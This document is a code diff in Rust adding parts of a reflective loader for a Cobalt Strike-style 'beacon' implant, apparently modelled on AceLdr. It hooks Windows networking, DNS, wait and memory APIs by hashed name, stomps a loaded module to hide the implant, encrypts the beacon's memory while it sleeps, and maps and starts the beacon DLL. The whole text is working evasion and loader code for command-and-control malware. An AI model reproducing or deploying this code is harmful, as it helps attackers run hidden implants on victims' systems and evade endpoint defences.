hash_str!("InternetReadFile"), + hook_addr(InternetReadFile_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("InternetQueryDataAvailable"), + hook_addr(InternetQueryDataAvailable_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("InternetCloseHandle"), + hook_addr(InternetCloseHandle_Hook as *const ()), + ); + + // WinHTTP hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpOpen"), + hook_addr(WinHttpOpen_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpConnect"), + hook_addr(WinHttpConnect_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpOpenRequest"), + hook_addr(WinHttpOpenRequest_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpSendRequest"), + hook_addr(WinHttpSendRequest_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpReceiveResponse"), + hook_addr(WinHttpReceiveResponse_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpQueryHeaders"), + hook_addr(WinHttpQueryHeaders_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpReadData"), + hook_addr(WinHttpReadData_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpQueryDataAvailable"), + hook_addr(WinHttpQueryDataAvailable_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WinHttpCloseHandle"), + hook_addr(WinHttpCloseHandle_Hook as *const ()), + ); + + // DNS hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("DnsExtractRecordsFromMessage_UTF8"), + hook_addr(DnsExtractRecordsFromMessage_UTF8_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("DnsWriteQuestionToBuffer_UTF8"), + hook_addr(DnsWriteQuestionToBuffer_UTF8_Hook as *const ()), + ); + + // Winsock hook + hook_iat( + map as _, + import_dir_addr, + hash_str!("WSASocketA"), + hook_addr(WSASocketA_Hook as *const ()), + ); + + // Wait hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("WaitForSingleObject"), + hook_addr(WaitForSingleObject_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("WaitForSingleObjectEx"), + hook_addr(WaitForSingleObjectEx_Hook as *const ()), + ); + + // Memory and thread hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("NtProtectVirtualMemory"), + hook_addr(NtProtectVirtualMemory_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("SystemFunction032"), + hook_addr(SystemFunction032_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("NtGetContextThread"), + hook_addr(NtGetContextThread_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("NtSetContextThread"), + hook_addr(NtSetContextThread_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("NtContinue"), + hook_addr(NtContinue_Hook as *const ()), + ); + + // Thread exit hook (not ready - needs cleanup logic) + // hook_iat(map as _, import_dir_addr, hash_str!("ExitThread"), hook_addr(ExitThread_Hook as *const ())); + } +} + +/// Call beacon DllMain with PROCESS_ATTACH then THREAD_ATTACH (AceLdr semantics). +#[link_section = ".text$B"] +pub unsafe extern "C" fn execute_beacon(entry: PVOID) { + let Ent: DLLMAIN = core::mem::transmute(entry); + + // Call DllMain with PROCESS_ATTACH + Ent( + OFFSET(Start as *const () as usize) as *mut c_void, + 1, + core::ptr::null_mut(), + ); + + // Immediately follow with THREAD_ATTACH to mirror AceLdr + Ent( + OFFSET(Start as *const () as usize) as *mut c_void, + 4, + core::ptr::null_mut(), + ); +} + +/// STUB metadata structure placed at the start of the allocated region. +/// +/// # Purpose +/// +/// The STUB provides a position-independent way for hooks to access runtime data: +/// - Memory region bounds for sleep obfuscation encryption +/// - Custom heap handle for beacon allocations +/// - PE section info for per-section memory protection during sleep +/// +/// # Memory Layout +/// +/// ```text +/// [STUB metadata][Loader code][Hook code][Beacon PE sections] +/// ^-- buffer ^-- executable region ^-- beacon image +/// ``` +/// +/// # How Hooks Access STUB +/// +/// Hooks use `StubAddr()` to locate this struct at runtime via RIP-relative addressing. +/// This enables position-independent access without relocations. +#[repr(C, packed)] +pub struct STUB { + /// Region base for sleep encryption bounds (stub starts here) + pub stub_beacon_address: ULONG_PTR, + /// Region size for sleep encryption bounds (stub + beacon) + pub stub_beacon_size: ULONG_PTR, + /// Size of the stub/loader code (beacon starts at stub_beacon_address + stub_size) + pub stub_size: ULONG_PTR, + /// Isolated heap for beacon allocations + pub beacon_heap_handle: HANDLE, + /// Number of PE sections in the beacon + pub num_sections: u32, + /// PE section metadata for per-section protection changes + pub sections: [MemorySection; 20], + + /// Api pointer - points to inline storage at STUB+0x20C (reserved in ASM). + /// No separate allocation; Api lives in the STUB region itself. + /// After Step 15 this region is RX; wrappers copy Config to stack before spoofed calls. + pub api: *mut Api, +} + +/// Type alias for pointer to STUB +pub type PSTUB = *mut STUB; + +/// Populates STUB metadata for runtime access by hooks. +/// +/// Writes beacon region bounds, heap handle, and section metadata into the +/// STUB structure at the start of the allocated region. This data is read +/// by hooks (e.g., `Sleep_Hook`) via RIP-relative addressing. +/// +/// # Arguments +/// +/// * `buffer` - Base address of the stomped region (STUB lives here) +/// * `heap` - Handle to the isolated beacon heap (from `RtlCreateHeap`) +/// * `reg` - Region info containing PE headers and calculated sizes +/// +/// # STUB Fields Populated +/// +/// - `stub_beacon_address` - Base of the entire region +/// - `stub_beacon_size` - Total size (stub + beacon) +/// - `stub_size` - Size of stub/loader code (beacon offset) +/// - `beacon_heap_handle` - Isolated heap for beacon allocations +/// - `num_sections` - Number of PE sections (capped at 20) +/// - `sections[]` - Per-section metadata (base, size, protection) +#[link_section = ".text$B"] +pub unsafe fn fill_stub(buffer: PVOID, heap: HANDLE, reg: &Reg, api: &Api) { + let stub_ptr = buffer as PSTUB; + + (*stub_ptr).stub_beacon_address = buffer as usize; + (*stub_ptr).stub_beacon_size = reg.full as usize; + (*stub_ptr).stub_size = reg.exec as usize; + (*stub_ptr).beacon_heap_handle = heap; + + // Copy Api into STUB's inline storage (reserved space at STUB + size_of::()) + let api_storage = (stub_ptr as usize + core::mem::size_of::()) as *mut u8; + memcopy( + api_storage, + api as *const Api as *const u8, + core::mem::size_of::() as u32, + ); + (*stub_ptr).api = api_storage as *mut Api; + + // Populate sections now while we have PE headers + let nt = reg.nt; + let num_sections = (*nt).FileHeader.NumberOfSections as usize; + let first_section = IMAGE_FIRST_SECTION(nt); + + (*stub_ptr).num_sections = num_sections.min(20) as u32; + + for i in 0..num_sections.min(20) { + let section = first_section.add(i); + + (*stub_ptr).sections[i].base_address = + (buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID; + (*stub_ptr).sections[i].size = (*section).Misc.virtual_size as SIZE_T; + (*stub_ptr).sections[i].current_protect = + section_characteristics_to_protect((*section).Characteristics); + (*stub_ptr).sections[i].previous_protect = + section_characteristics_to_protect((*section).Characteristics); + } +} + +/// Copies beacon PE sections from the decrypted image to the stomped module region. +/// +/// Mirrors AceLdr semantics: PE headers remain in the temp buffer; only raw +/// section data is copied to their respective VirtualAddress offsets. +/// +/// # Arguments +/// +/// * `buffer` - Base of the stomped module region (STUB starts here) +/// * `reg` - Region info with PE headers and exec offset +/// +/// # Returns +/// +/// Pointer to the mapped beacon image (buffer + exec offset). +#[link_section = ".text$B"] +unsafe fn copy_beacon_sections(buffer: PVOID, reg: &Reg) -> PVOID { + // Step 1: the mapped beacon lives after the stub exec region + let map = (buffer as usize).wrapping_add(reg.exec as usize) as *mut u8; + + // IMPORTANT: Zero the entire beacon region first, OTHERWISE WE CRASH + let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize; + memzero(map, size_of_image as u32); + + let nt_headers = reg.nt as *const IMAGE_NT_HEADERS; + let num_sections = (*nt_headers).FileHeader.NumberOfSections as usize; + + // Step 2: get the first section header + let first_section = (nt_headers as usize + core::mem::size_of::()) + as *const IMAGE_SECTION_HEADER; + + // Step 3: lay out each raw section at its VirtualAddress + for i in 0..num_sections { + let section = first_section.add(i); + let destination = map.add((*section).VirtualAddress as usize); + let source = (reg.dos as usize + (*section).PointerToRawData as usize) as *const u8; + let raw_size = (*section).SizeOfRawData as usize; + if raw_size > 0 { + memcopy(destination, source, raw_size as u32); + } + } + map as PVOID +} + +/// Copies the stub region (STUB metadata + loader + hooks) to the stomped module. +/// +/// The stub spans from `StubAddr()` to `G_END()` and contains: +/// - STUB metadata structure (filled later by `fill_stub`) +/// - Loader code (.text$B section) +/// - Hook code (.text$D section) +/// +/// # Arguments +/// +/// * `buffer` - Destination address in the stomped module's .text section +#[link_section = ".text$B"] +pub unsafe fn copy_stub(buffer: PVOID) { + let destination = buffer as *mut u8; + let source = StubAddr() as *const u8; + let length = (G_END() - StubAddr()) as usize; + + // Copy the stub (loader + hooks) contiguously + memcopy(destination, source, length as u32); +} + +/// Region calculation results for loader memory layout. +/// +/// # Purpose +/// +/// Stores calculated sizes and pointers for the loader's memory allocation. +/// All sizes are aligned to 4KB page boundaries for Windows memory management. +/// +/// # Memory Layout +/// +/// ```text +/// [Stub exec region ][Beacon PE image ] +/// |<---- exec ------->||<-- full - exec ----->| +/// | || | +/// buffer map buffer+full +/// ``` +/// +/// # Fields +/// +/// * `exec` - Size of stub executable region (loader + hooks), 4KB-aligned +/// * `full` - Total size (stub + beacon image), 4KB-aligned +/// * `nt` - Pointer to beacon's NT headers in the embedded file +/// * `dos` - Pointer to beacon's DOS header in the embedded file +#[repr(C)] +pub struct Reg { + /// Aligned stub size (exec region) in bytes, 4KB-aligned. + exec: SIZE_T, + + /// Total aligned size for stub + beacon, 4KB-aligned. + full: SIZE_T, + + /// Pointer to beacon NT headers in the embedded file image. + nt: *mut IMAGE_NT_HEADERS, + + /// Pointer to beacon DOS header in the embedded file image. + dos: *mut IMAGE_DOS_HEADER, +} + +/// Calculate stub size (exec) and total size (exec+image) for memory allocation. +/// +/// This function calculates memory layout sizes based on the decrypted beacon's +/// PE headers (already set in reg.dos and reg.nt from the temp decrypt buffer). +/// Aligns sizes to 4KB pages for Windows memory management. +#[link_section = ".text$B"] +unsafe fn calculate_regions(reg: &mut Reg) { + // Step 1: Get stub size (from start to end of CONFIG) + let stub_start = StubAddr(); + let stub_end = G_END().wrapping_add(core::mem::size_of::()); + let stub_size = stub_end - stub_start; + + // Step 2: Get beacon image size from PE headers (from decrypted temp buffer) + let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize; + + // Step 3: Align to 4K boundaries (WinPE defaults) + let align4k = |v: usize| (v + 0xFFF) & !0xFFF; + let exec_aligned = align4k(stub_size); + let image_aligned = align4k(size_of_image); + + reg.exec = exec_aligned as SIZE_T; + reg.full = (exec_aligned + image_aligned) as SIZE_T; +}